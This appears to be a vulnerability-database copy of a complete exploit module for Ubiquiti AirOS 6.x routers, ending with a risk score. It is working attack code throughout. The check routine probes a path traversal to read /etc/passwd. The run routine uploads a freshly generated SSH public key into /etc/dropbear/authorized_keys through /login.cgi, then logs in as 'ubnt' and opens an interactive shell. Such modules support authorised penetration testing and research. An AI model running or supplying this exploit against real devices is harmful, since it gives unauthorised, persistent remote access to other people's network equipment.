Ubiquiti AirOS 6.x - SSH Key Upload
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ubiquiti AirOS 6.x arbitrary file upload to authorized_keys."""
from __future__ import annotations
import io
import tempfile
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
try:
import paramiko
except ImportError:
paramiko = None
class Module(Exploit, Http_client, Handler):
__info__ = {
"name": "Ubiquiti AirOS 6.x - SSH Key Upload",
"description": (
"Path traversal file upload via /login.cgi places an attacker SSH public key "
"into /etc/dropbear/authorized_keys, enabling login as ubnt."
),
"author": ["93c08539", "Vinicius Henrique Marangoni", "KittySploit Team"],
"platform": Platform.LINUX,
"payload": {"default": "nopayload"},
"references": [
"https://hackerone.com/reports/73480",
"https://www.exploit-db.com/exploits/39701/",
],
"tags": ["ubiquiti", "airos", "router", "file-upload", "ssh", "iot"],
}
ssh_port = OptPort(22, "SSH port after key upload", required=False)
ssl = OptBool(True, "Use HTTPS for web interface", required=False)
def check(self):
marker = self.random_text(12)
path = f"/images/..%2f..%2f..%2fetc%2fpasswd%3b{marker}"
response = self.http_request(method="GET", path=path, allow_redirects=False)
if response and marker in (response.text or ""):
return {"vulnerable": True, "reason": "Path traversal confirmed", "confidence": "high"}
response = self.http_request(method="GET", path="/login.cgi", allow_redirects=False)
if response and response.status_code == 200:
return {"vulnerable": True, "reason": "AirOS login.cgi reachable", "confidence": "low"}
return {"vulnerable": False, "reason": "Target does not appear to be AirOS 6.x", "confidence": "medium"}
def run(self):
if paramiko is None:
print_error("paramiko required: pip install paramiko")
return False
result = self.check()
if isinstance(result, dict) and not result.get("vulnerable"):
self.not_vulnerable()
return False
key = paramiko.RSAKey.generate(2048)
public_key = key.get_base64()
private_buf = io.StringIO()
key.write_private_key(private_buf)
private_pem = private_buf.getvalue()
tmp = tempfile.TemporaryFile()
tmp.write(f"ssh-rsa {public_key}\n".encode())
tmp.seek(0)
print_status("Uploading SSH public key via /login.cgi path traversal ...")
response = self.http_request(
method="POST",
path="/login.cgi",
files={"file": ("../../etc/dropbear/authorized_keys", tmp, "application/octet-stream")},
allow_redirects=False,
)
if not response:
print_error("Upload failed")
return False
host = str(self.target)
port = int(self.ssh_port or 22)
print_status(f"Connecting via SSH to {host}:{port} as ubnt ...")
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
pkey = paramiko.RSAKey.from_private_key(io.StringIO(private_pem))
try:
client.connect(host, port, username="ubnt", pkey=pkey, timeout=int(self.timeout or 15))
except Exception as exc:
print_error(f"SSH login failed: {exc}")
return False
print_success("SSH session established")
channel = client.invoke_shell()
try:
while True:
if channel.recv_ready():
print(channel.recv(4096).decode(errors="replace"), end="")
if channel.send_ready():
import sys
line = sys.stdin.readline()
if not line:
break
channel.send(line)
except KeyboardInterrupt:
pass
finally:
client.close()
return True
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19 Aug 2026 05:37Current
5.8Medium risk
Vulners AI Score5.8